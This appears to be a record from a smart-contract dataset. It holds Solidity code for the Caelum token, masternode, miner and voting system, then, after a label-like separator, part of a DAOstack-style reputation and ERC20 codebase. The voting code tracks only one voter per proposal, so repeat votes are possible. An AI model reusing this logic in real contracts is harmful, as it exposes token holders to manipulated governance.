enum VOTE_TYPE {MINER, MASTER, TOKEN}
struct Proposals {
address tokenContract;
uint totalVotes;
uint proposedOn;
uint acceptedOn;
VOTE_TYPE proposalType;
}
struct Voters {
bool isVoter;
address owner;
uint[] votedFor;
}
uint MAJORITY_PERCENTAGE_NEEDED = 60;
uint MINIMUM_VOTERS_NEEDED = 1;
bool public proposalPending;
mapping(uint => Proposals) public proposalList;
mapping (address => Voters) public voterMap;
mapping(uint => address) public voterProposals;
uint public proposalCounter;
uint public votersCount;
uint public votersCountTeam;
function setMasternodeContractFromVote(address _t) internal ;
function setTokenContractFromVote(address _t) internal;
function setMiningContractFromVote (address _t) internal;
event NewProposal(uint ProposalID);
event ProposalAccepted(uint ProposalID);
address _CaelumMasternodeContract;
CaelumMasternode public MasternodeContract;
function setMasternodeContractForData(address _t) onlyOwner public {
MasternodeContract = CaelumMasternode(_t);
_CaelumMasternodeContract = (_t);
}
function setVotingMinority(uint _total) onlyOwner public {
require(_total > MINIMUM_VOTERS_NEEDED);
MINIMUM_VOTERS_NEEDED = _total;
}
function pushProposal(address _contract) onlyOwner public returns (uint) {
if(proposalCounter != 0)
require (pastProposalTimeRules (), "You need to wait 90 days before submitting a new proposal.");
require (!proposalPending, "Another proposal is pending.");
uint _contractType = IcaelumVoting(_contract).getContractType();
proposalList[proposalCounter] = Proposals(_contract, 0, now, 0, VOTE_TYPE(_contractType));
emit NewProposal(proposalCounter);
proposalCounter++;
proposalPending = true;
return proposalCounter.sub(1);
}
function handleLastProposal () internal returns (uint) {
uint _ID = proposalCounter.sub(1);
proposalList[_ID].acceptedOn = now;
proposalPending = false;
address _address;
uint _required;
uint _valid;
uint _type;
(_address, _required, _valid, _type) = getTokenProposalDetails(_ID);
if(_type == uint(VOTE_TYPE.MINER)) {
setMiningContractFromVote(_address);
}
if(_type == uint(VOTE_TYPE.MASTER)) {
setMasternodeContractFromVote(_address);
}
if(_type == uint(VOTE_TYPE.TOKEN)) {
setTokenContractFromVote(_address);
}
emit ProposalAccepted(_ID);
return _ID;
}
function discardRejectedProposal() onlyOwner public returns (bool) {
require(proposalPending);
require (LastProposalCanDiscard());
proposalPending = false;
return (true);
}
function LastProposalCanDiscard () public view returns (bool) {
uint daysBeforeDiscard = IcaelumVoting(proposalList[proposalCounter - 1].tokenContract).getExpiry();
uint entryDate = proposalList[proposalCounter - 1].proposedOn;
uint expiryDate = entryDate + (daysBeforeDiscard * 1 days);
if (now >= expiryDate)
return true;
}
function getTokenProposalDetails(uint proposalID) public view returns(address, uint, uint, uint) {
return IcaelumVoting(proposalList[proposalID].tokenContract).getTokenProposalDetails();
}
function pastProposalTimeRules() public view returns (bool) {
uint lastProposal = proposalList[proposalCounter - 1].proposedOn;
if (now >= lastProposal + 90 days)
return true;
}
function becomeVoter() public {
require (MasternodeContract.isMasternodeOwner(msg.sender), "User has no masternodes");
require (!voterMap[msg.sender].isVoter, "User Already voted for this proposal");
voterMap[msg.sender].owner = msg.sender;
voterMap[msg.sender].isVoter = true;
votersCount = votersCount + 1;
if (MasternodeContract.isTeamMember(msg.sender))
votersCountTeam = votersCountTeam + 1;
}
function voteProposal(uint proposalID) public returns (bool success) {
require(voterMap[msg.sender].isVoter, "Sender not listed as voter");
require(proposalID >= 0, "No proposal was selected.");
require(proposalID <= proposalCounter, "Proposal out of limits.");
require(voterProposals[proposalID] != msg.sender, "Already voted.");
require(votersCount >= MINIMUM_VOTERS_NEEDED, "Not enough voters in existence to push a proposal");
voterProposals[proposalID] = msg.sender;
proposalList[proposalID].totalVotes++;
if(reachedMajority(proposalID)) {
handleLastProposal();
return true;
}
}
function reachedMajority (uint proposalID) public view returns (bool) {
uint getProposalVotes = proposalList[proposalID].totalVotes;
if (getProposalVotes >= majority())
return true;
}
function majority () internal view returns (uint) {
uint a = (votersCount * MAJORITY_PERCENTAGE_NEEDED );
return a / 100;
}
function reachedMajorityForTeam (uint proposalID) public view returns (bool) {
uint getProposalVotes = proposalList[proposalID].totalVotes;
if (getProposalVotes >= majorityForTeam())
return true;
}
function majorityForTeam () internal view returns (uint) {
uint a = (votersCountTeam * MAJORITY_PERCENTAGE_NEEDED );
return a / 100;
}
}
contract CaelumAcceptERC20 is Ownable {
using SafeMath for uint;
IRemoteFunctions public DataVault;
address[] public tokensList;
bool setOwnContract = true;
struct _whitelistTokens {
address tokenAddress;
bool active;
uint requiredAmount;
uint validUntil;
uint timestamp;
}
mapping(address => mapping(address => uint)) public tokens;
mapping(address => _whitelistTokens) acceptedTokens;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function addOwnToken() onlyOwner public returns (bool) {
require(setOwnContract);
addToWhitelist(this, 5000 * 1e8, 36500);
setOwnContract = false;
return true;
}
function addToWhitelist(address _token, uint _amount, uint daysAllowed) internal {
_whitelistTokens storage newToken = acceptedTokens[_token];
newToken.tokenAddress = _token;
newToken.requiredAmount = _amount;
newToken.timestamp = now;
newToken.validUntil = now + (daysAllowed * 1 days);
newToken.active = true;
tokensList.push(_token);
}
function isAcceptedToken(address _ad) internal view returns(bool) {
return acceptedTokens[_ad].active;
}
function getAcceptedTokenAmount(address _ad) internal view returns(uint) {
return acceptedTokens[_ad].requiredAmount;
}
function isValid(address _ad) internal view returns(bool) {
uint endTime = acceptedTokens[_ad].validUntil;
if (block.timestamp < endTime) return true;
return false;
}
function listAcceptedTokens() public view returns(address[]) {
return tokensList;
}
function getTokenDetails(address token) public view returns(address ad,uint required, bool active, uint valid) {
return (acceptedTokens[token].tokenAddress, acceptedTokens[token].requiredAmount,acceptedTokens[token].active, acceptedTokens[token].validUntil);
}
function depositCollateral(address token, uint amount) public {
require(isAcceptedToken(token), "ERC20 not authorised");
require(amount == getAcceptedTokenAmount(token));
require(isValid(token));
tokens[token][msg.sender] = tokens[token][msg.sender].add(amount);
require(StandardToken(token).transferFrom(msg.sender, this, amount), "error with token");
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
DataVault._externalAddMasternode(msg.sender);
}
function withdrawCollateral(address token, uint amount) public {
require(token != 0);
require(isAcceptedToken(token), "ERC20 not authorised");
require(amount == getAcceptedTokenAmount(token));
require(tokens[token][msg.sender] >= amount);
uint amountToWithdraw = tokens[token][msg.sender];
tokens[token][msg.sender] = 0;
DataVault._externalStopMasternode(msg.sender);
if (!StandardToken(token).transfer(msg.sender, amountToWithdraw)) revert();
emit Withdraw(token, msg.sender, amountToWithdraw, amountToWithdraw);
}
function setDataStorage (address _masternodeContract) onlyOwner public {
DataVault = IRemoteFunctions(_masternodeContract);
}
}
contract CaelumAbstractMasternode is Ownable{
using SafeMath for uint;
bool onTestnet = false;
bool genesisAdded = false;
uint public masternodeRound;
uint public masternodeCandidate;
uint public masternodeCounter;
uint public masternodeEpoch;
uint public miningEpoch;
uint public rewardsProofOfWork;
uint public rewardsMasternode;
uint rewardsGlobal = 50 * 1e8;
uint public MINING_PHASE_DURATION_BLOCKS = 4500;
struct MasterNode {
address accountOwner;
bool isActive;
bool isTeamMember;
uint storedIndex;
uint startingRound;
uint[] indexcounter;
}
uint[] userArray;
address[] userAddressArray;
mapping(uint => MasterNode) userByIndex;
mapping(address => MasterNode) userByAddress;
mapping(address => uint) userAddressIndex;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event NewMasternode(address candidateAddress, uint timeStamp);
event RemovedMasternode(address candidateAddress, uint timeStamp);
function addGenesis(address _genesis, bool _team) onlyOwner public {
require(!genesisAdded);
addMasternode(_genesis);
if (_team) {
updateMasternodeAsTeamMember(msg.sender);
}
}
function closeGenesis() onlyOwner public {
genesisAdded = true;
}
function addMasternode(address _candidate) internal returns(uint) {
userByIndex[masternodeCounter].accountOwner = _candidate;
userByIndex[masternodeCounter].isActive = true;
userByIndex[masternodeCounter].startingRound = masternodeRound + 1;
userByIndex[masternodeCounter].storedIndex = masternodeCounter;
userByAddress[_candidate].accountOwner = _candidate;
userByAddress[_candidate].indexcounter.push(masternodeCounter);
userArray.push(userArray.length);
masternodeCounter++;
emit NewMasternode(_candidate, now);
return masternodeCounter - 1;
}
function updateMasternode(uint _candidate) internal returns(bool) {
userByIndex[_candidate].startingRound++;
return true;
}
function updateMasternodeAsTeamMember(address _member) internal returns (bool) {
userByAddress[_member].isTeamMember = true;
return (true);
}
function isTeamMember (address _member) public view returns (bool) {
if (userByAddress[_member].isTeamMember)
return true;
}
function deleteMasternode(uint _masternodeID) internal returns(bool success) {
uint rowToDelete = userByIndex[_masternodeID].storedIndex;
uint keyToMove = userArray[userArray.length - 1];
userByIndex[_masternodeID].isActive = userByIndex[_masternodeID].isActive = (false);
userArray[rowToDelete] = keyToMove;
userByIndex[keyToMove].storedIndex = rowToDelete;
userArray.length = userArray.length - 1;
removeFromUserCounter(_masternodeID);
emit RemovedMasternode(userByIndex[_masternodeID].accountOwner, now);
return true;
}
function isPartOf(uint mnid) public view returns (address) {
return userByIndex[mnid].accountOwner;
}
function removeFromUserCounter(uint index) internal returns(uint[]) {
address belong = isPartOf(index);
if (index >= userByAddress[belong].indexcounter.length) return;
for (uint i = index; i<userByAddress[belong].indexcounter.length-1; i++){
userByAddress[belong].indexcounter[i] = userByAddress[belong].indexcounter[i+1];
}
delete userByAddress[belong].indexcounter[userByAddress[belong].indexcounter.length-1];
userByAddress[belong].indexcounter.length--;
return userByAddress[belong].indexcounter;
}
function setMasternodeCandidate() internal returns(address) {
uint hardlimitCounter = 0;
while (getFollowingCandidate() == 0x0) {
require(hardlimitCounter < 6, "Failsafe switched on");
if (hardlimitCounter == 5) return (0);
masternodeRound = masternodeRound + 1;
masternodeCandidate = 0;
hardlimitCounter++;
}
if (masternodeCandidate == masternodeCounter - 1) {
masternodeRound = masternodeRound + 1;
masternodeCandidate = 0;
}
for (uint i = masternodeCandidate; i < masternodeCounter; i++) {
if (userByIndex[i].isActive) {
if (userByIndex[i].startingRound == masternodeRound) {
updateMasternode(i);
masternodeCandidate = i;
return (userByIndex[i].accountOwner);
}
}
}
masternodeRound = masternodeRound + 1;
return (0);
}
function getFollowingCandidate() internal view returns(address _address) {
uint tmpRound = masternodeRound;
uint tmpCandidate = masternodeCandidate;
if (tmpCandidate == masternodeCounter - 1) {
tmpRound = tmpRound + 1;
tmpCandidate = 0;
}
for (uint i = masternodeCandidate; i < masternodeCounter; i++) {
if (userByIndex[i].isActive) {
if (userByIndex[i].startingRound == tmpRound) {
tmpCandidate = i;
return (userByIndex[i].accountOwner);
}
}
}
tmpRound = tmpRound + 1;
return (0);
}
function belongsToUser(address userAddress) public view returns(uint[]) {
return (userByAddress[userAddress].indexcounter);
}
function isMasternodeOwner(address _candidate) public view returns(bool) {
if(userByAddress[_candidate].indexcounter.length <= 0) return false;
if (userByAddress[_candidate].accountOwner == _candidate)
return true;
}
function getLastPerUser(address _candidate) public view returns (uint) {
return userByAddress[_candidate].indexcounter[userByAddress[_candidate].indexcounter.length - 1];
}
function getMiningReward() public view returns(uint) {
return 50 * 1e8;
}
function calculateRewardStructures() internal {
uint _global_reward_amount = getMiningReward();
uint getStageOfMining = miningEpoch / MINING_PHASE_DURATION_BLOCKS * 10;
if (getStageOfMining < 10) {
rewardsProofOfWork = _global_reward_amount / 100 * 5;
rewardsMasternode = 0;
return;
}
if (getStageOfMining > 90) {
rewardsProofOfWork = _global_reward_amount / 100 * 2;
rewardsMasternode = _global_reward_amount / 100 * 98;
return;
}
uint _mnreward = (_global_reward_amount / 100) * getStageOfMining;
uint _powreward = (_global_reward_amount - _mnreward);
setBaseRewards(_powreward, _mnreward);
}
function setBaseRewards(uint _pow, uint _mn) internal {
rewardsMasternode = _mn;
rewardsProofOfWork = _pow;
}
function _arrangeMasternodeFlow() internal {
calculateRewardStructures();
setMasternodeCandidate();
miningEpoch++;
}
function _emergencyLoop() onlyOwner public {
calculateRewardStructures();
setMasternodeCandidate();
miningEpoch++;
}
function masternodeInfo(uint index) public view returns
(
address,
bool,
uint,
uint
)
{
return (
userByIndex[index].accountOwner,
userByIndex[index].isActive,
userByIndex[index].storedIndex,
userByIndex[index].startingRound
);
}
function contractProgress() public view returns
(
uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter
)
{
return (
masternodeEpoch,
masternodeCandidate,
masternodeRound,
miningEpoch,
getMiningReward(),
rewardsProofOfWork,
rewardsMasternode,
masternodeCounter
);
}
}
contract CaelumMasternode is CaelumVotings, CaelumAbstractMasternode {
address public miningContract;
address public tokenContract;
bool minerSet = false;
bool tokenSet = false;
function setMiningContract(address _t) onlyOwner public {
require(!minerSet);
miningContract = _t;
minerSet = true;
}
function setTokenContract(address _t) onlyOwner public {
require(!tokenSet);
tokenContract = _t;
tokenSet = true;
}
function setMasternodeContractFromVote(address _t) internal {
}
function setTokenContractFromVote(address _t) internal{
tokenContract = _t;
}
function setMiningContractFromVote (address _t) internal {
miningContract = _t;
}
modifier onlyMiningContract() {
require(msg.sender == miningContract);
_;
}
modifier onlyTokenContract() {
require(msg.sender == tokenContract);
_;
}
modifier bothRemoteContracts() {
require(msg.sender == tokenContract || msg.sender == miningContract);
_;
}
function _externalArrangeFlow() onlyMiningContract external {
_arrangeMasternodeFlow();
}
function _externalAddMasternode(address _received) onlyMiningContract external {
addMasternode(_received);
}
function _externalStopMasternode(address _received) onlyMiningContract external {
deleteMasternode(getLastPerUser(_received));
}
function getMiningReward() public view returns(uint) {
return CaelumMiner(miningContract).getMiningReward();
}
address cloneDataFrom = 0x7600bF5112945F9F006c216d5d6db0df2806eDc6;
function getDataFromContract () onlyOwner public returns(uint) {
CaelumMasternode prev = CaelumMasternode(cloneDataFrom);
(uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter) = prev.contractProgress();
masternodeEpoch = epoch;
masternodeRound = round;
miningEpoch = miningepoch;
rewardsProofOfWork = powreward;
rewardsMasternode = masternodereward;
}
}
contract CaelumToken is Ownable, StandardToken, CaelumVotings, CaelumAcceptERC20 {
using SafeMath for uint;
ERC20 previousContract;
bool contractSet = false;
bool public swapClosed = false;
uint public swapCounter;
string public symbol = "CLM";
string public name = "Caelum Token";
uint8 public decimals = 8;
uint256 public totalSupply = 2100000000000000;
address public miningContract = 0x0;
modifier onlyMiningContract() {
require(msg.sender == miningContract);
_;
}
constructor(address _previousContract) public {
previousContract = ERC20(_previousContract);
swapClosed = false;
swapCounter = 0;
}
function setMiningContract (address _t) onlyOwner public {
require(!contractSet);
miningContract = _t;
contractSet = true;
}
function setMasternodeContractFromVote(address _t) internal {
return;
}
function setTokenContractFromVote(address _t) internal{
return;
}
function setMiningContractFromVote (address _t) internal {
miningContract = _t;
}
function changeSwapState (bool _state) onlyOwner public {
require(swapCounter <= 9);
swapClosed = _state;
swapCounter++;
}
function rewardExternal(address _receiver, uint _amount) onlyMiningContract external {
balances[_receiver] = balances[_receiver].add(_amount);
emit Transfer(this, _receiver, _amount);
}
function upgradeTokens() public{
require(!swapClosed);
uint amountToUpgrade = previousContract.balanceOf(msg.sender);
require(amountToUpgrade <= previousContract.allowance(msg.sender, this));
if(previousContract.transferFrom(msg.sender, this, amountToUpgrade)){
balances[msg.sender] = balances[msg.sender].add(amountToUpgrade);
emit Transfer(this, msg.sender, amountToUpgrade);
}
require(previousContract.balanceOf(msg.sender) == 0);
}
}
contract AbstractERC918 is EIP918Interface {
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
Statistics public statistics;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest);
function _reward() internal returns (uint);
function _newEpoch(uint256 nonce) internal returns (uint);
function _adjustDifficulty() internal returns (uint);
}
contract CaelumAbstractMiner is AbstractERC918 {
using SafeMath for uint;
using ExtendedMath for uint;
uint256 public totalSupply = 2100000000000000;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public baseMiningReward = 50;
uint public blocksPerReadjustment = 512;
uint public _MINIMUM_TARGET = 2 ** 16;
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public rewardEra = 0;
uint public maxSupplyForEra;
uint public MAX_REWARD_ERA = 39;
uint public MINING_RATE_FACTOR = 60;
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => mapping(address => uint)) allowed;
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
Statistics public statistics;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
event RewardMasternode(address candidate, uint amount);
constructor() public {
tokensMinted = 0;
maxSupplyForEra = totalSupply.div(2);
difficulty = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_newEpoch(0);
}
function _newEpoch(uint256 nonce) internal returns(uint) {
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) {
rewardEra = rewardEra + 1;
}
maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
challengeNumber = blockhash(block.number - 1);
return (epochCount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) {
digest = keccak256(challengeNumber, msg.sender, nonce);
if (digest != challenge_digest) revert();
if (uint256(digest) > difficulty) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert();
}
function _reward() internal returns(uint);
function _reward_masternode() internal returns(uint);
function _adjustDifficulty() internal returns(uint) {
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra));
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET)
{
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET)
{
difficulty = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
function getMiningTarget() public view returns(uint) {
return difficulty;
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function getMintDigest(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number
)
public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
function checkMintSolution(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number,
uint testTarget
)
public view returns(bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
}
contract CaelumMiner is CaelumVotings, CaelumAbstractMiner {
address cloneDataFrom = 0x7600bF5112945F9F006c216d5d6db0df2806eDc6;
bool ACTIVE_CONTRACT_STATE = true;
bool MasternodeSet = false;
bool TokenSet = false;
address _CaelumMasternodeContract;
address _CaelumTokenContract;
CaelumMasternode public MasternodeContract;
CaelumToken public tokenContract;
function setMasternodeContract(address _t) onlyOwner public {
require(!MasternodeSet);
MasternodeContract = CaelumMasternode(_t);
_CaelumMasternodeContract = (_t);
MasternodeSet = true;
}
function setTokenContract(address _t) onlyOwner public {
require(!TokenSet);
tokenContract = CaelumToken(_t);
_CaelumTokenContract = (_t);
TokenSet = true;
}
function setMiningContract (address _t) onlyOwner public {
return;
}
function setMasternodeContractFromVote(address _t) internal {
MasternodeContract = CaelumMasternode(_t);
_CaelumMasternodeContract = (_t);
}
function setTokenContractFromVote(address _t) internal{
tokenContract = CaelumToken(_t);
_CaelumTokenContract = (_t);
}
function setMiningContractFromVote (address _t) internal {
return;
}
function lockMiningContract () onlyOwner public {
ACTIVE_CONTRACT_STATE = false;
}
function getDataFromContract () onlyOwner public {
require(_CaelumTokenContract != 0);
require(_CaelumMasternodeContract != 0);
CaelumMiner prev = CaelumMiner(cloneDataFrom);
difficulty = prev.difficulty();
rewardEra = prev.rewardEra();
MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR();
maxSupplyForEra = prev.maxSupplyForEra();
tokensMinted = prev.tokensMinted();
epochCount = prev.epochCount();
latestDifficultyPeriodStarted = prev.latestDifficultyPeriodStarted();
ACTIVE_CONTRACT_STATE = true;
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success) {
require(ACTIVE_CONTRACT_STATE);
_hash(nonce, challenge_digest);
MasternodeContract._externalArrangeFlow();
uint rewardAmount =_reward();
uint rewardMasternode = _reward_masternode();
tokensMinted += rewardAmount.add(rewardMasternode);
uint epochCounter = _newEpoch(nonce);
_adjustDifficulty();
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber);
return true;
}
function _reward() internal returns(uint) {
uint _pow = MasternodeContract.rewardsProofOfWork();
tokenContract.rewardExternal(msg.sender, _pow);
return _pow;
}
function _reward_masternode() internal returns(uint) {
uint _mnReward = MasternodeContract.rewardsMasternode();
if (MasternodeContract.masternodeCounter() == 0) return 0;
uint getCandidate = MasternodeContract.masternodeCandidate();
address _mnCandidate = MasternodeContract.isPartOf(getCandidate);
if (_mnCandidate == 0x0) return 0;
tokenContract.rewardExternal(_mnCandidate, _mnReward);
emit RewardMasternode(_mnCandidate, _mnReward);
return _mnReward;
}
function getMiningReward() public view returns(uint) {
return MasternodeContract.rewardsProofOfWork();
}
}
contract caelumFactory {
CaelumMiner public MINER;
CaelumMasternode public MASTER;
CaelumToken public TOKEN;
function newCookie() public {
MINER = new CaelumMiner();
MASTER = new CaelumMasternode();
TOKEN = new CaelumToken(0x0);
MASTER.setMiningContract(MINER);
MASTER.setTokenContract(TOKEN);
MINER.setMasternodeContract(MASTER);
MINER.setTokenContract(TOKEN);
TOKEN.setMiningContract(MINER);
TOKEN.setDataStorage(MASTER);
MASTER.transferOwnership(msg.sender);
TOKEN.transferOwnership(msg.sender);
MINER.transferOwnership(msg.sender);
}
} | 1 | 3,907 |
pragma solidity ^0.5.2;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
